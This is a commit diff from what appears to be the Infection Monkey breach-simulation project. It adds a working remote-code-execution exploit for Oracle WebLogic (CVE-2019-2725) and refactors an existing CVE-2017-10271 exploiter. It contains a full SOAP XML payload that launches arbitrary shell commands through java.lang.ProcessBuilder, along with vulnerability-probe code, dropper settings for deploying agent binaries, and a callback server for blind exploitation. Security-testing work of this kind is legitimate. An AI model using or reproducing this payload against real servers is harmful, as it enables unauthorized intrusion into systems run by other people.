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Merge pull request #357 from VakarisZ/wblogic_2019_2725 

WebLogic CVE-2019-2725 implemented
This commit is contained in:
Daniel Goldberg 2019-07-01 16:32:16 +03:00 committed by GitHub
parent aeb07e1db6 c5e1b0a93f
commit 001361c863
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GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 150 additions and 55 deletions
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172
monkey/infection_monkey/exploit/weblogic.py
View File

@ -1,3 +1,48 @@
from __future__ import print_function
import threading
import logging
import time
import copy
from requests import post, exceptions
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should we wait after each request in seconds
REQUEST_DELAY = 0.1
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
# Malicious requests' headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def exploit_host(self):
exploiters = [WebLogic20192725, WebLogic201710271]
for exploiter in exploiters:
if exploiter(self.host).exploit_host():
return True
# Exploit based of:
# Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271
@ -5,28 +50,8 @@
# Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
from __future__ import print_function
from requests import post, exceptions
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading
import logging
import time
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should be wait after each request in seconds
REQUEST_DELAY = 0.0001
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
URLS = ["/wls-wsat/CoordinatorPortType",
class WebLogic201710271(WebRCE):
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/ParticipantPortType11",
@ -34,28 +59,20 @@ URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
# Malicious request's headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
'win32': 'monkey32.exe',
'win64': 'monkey64.exe'})
def get_exploit_config(self):
exploit_config = super(WebLogicExploiter, self).get_exploit_config()
exploit_config = super(WebLogic201710271, self).get_exploit_config()
exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True
exploit_config['url_extensions'] = URLS
exploit_config['url_extensions'] = WebLogic201710271.URLS
return exploit_config
def exploit(self, url, command):
@ -66,8 +83,8 @@ class WebLogicExploiter(WebRCE):
try:
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
print('[!] Connection Error')
print(e)
LOG.error("Connection error: %s" % e)
return False
return True
@ -196,6 +213,7 @@ class WebLogicExploiter(WebRCE):
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not.
"""
def __init__(self, local_ip, local_port, lock, max_requests=1):
self.local_ip = local_ip
self.local_port = local_port
@ -212,6 +230,7 @@ class WebLogicExploiter(WebRCE):
def do_GET():
LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1
LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True
@ -224,3 +243,82 @@ class WebLogicExploiter(WebRCE):
def stop(self):
self._stopped = True
# Exploit based of:
# Andres Rodriguez (acamro)
# https://github.com/rapid7/metasploit-framework/pull/11780
class WebLogic20192725(WebRCE):
URLS = ["_async/AsyncResponseServiceHttps"]
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
super(WebLogic20192725, self).__init__(host)
def get_exploit_config(self):
exploit_config = super(WebLogic20192725, self).get_exploit_config()
exploit_config['url_extensions'] = WebLogic20192725.URLS
exploit_config['blind_exploit'] = True
exploit_config['dropper'] = True
return exploit_config
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command)
else:
payload = self.get_exploit_payload('cmd', '/c', command)
try:
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
return resp
except Exception as e:
LOG.error("Connection error: %s" % e)
return False
def check_if_exploitable(self, url):
headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
return True
else:
return False
@staticmethod
def get_exploit_payload(cmd_base, cmd_opt, command):
"""
Formats the payload used to exploit weblogic servers
:param cmd_base: What command prompt to use eg. cmd
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
:param command: command itself
:return: Formatted payload
"""
empty_payload = '''
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">
<void class=\"java.lang.ProcessBuilder\">
<array class=\"java.lang.String\" length=\"3\">
<void index=\"0\">
<string>{cmd_base}</string>
</void>
<void index=\"1\">
<string>{cmd_opt}</string>
</void>
<void index=\"2\">
<string>{cmd_payload}</string>
</void>
</array>
<void method=\"start\"/>
</void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>'''
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
return payload

2
monkey/monkey_island/cc/services/config_schema.py
View File

@ -89,7 +89,7 @@ SCHEMA = {
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
"title": "WebLogic Exploiter"
},
{
"type": "string",

17
monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
View File

@ -343,9 +343,7 @@ class ReportPageComponent extends AuthComponent {
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null }
<li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null }
{this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
@ -889,16 +887,15 @@ class ReportPageComponent extends AuthComponent {
generateWebLogicIssue(issue) {
return (
<li>
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
critical patch updates.</a> Or update to the latest version. Vulnerable versions are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
Update Oracle WebLogic server to the latest supported version.
<CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to one of <span
className="label label-danger">remote code execution</span> attacks.
<br/>
The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware
(subcomponent: WLS Security).
The attack was made possible due to one of the following vulnerabilities:
<a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271"}> CVE-2017-10271</a> or
<a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2725"}> CVE-2019-2725</a>
</CollapsibleWellComponent>
</li>
);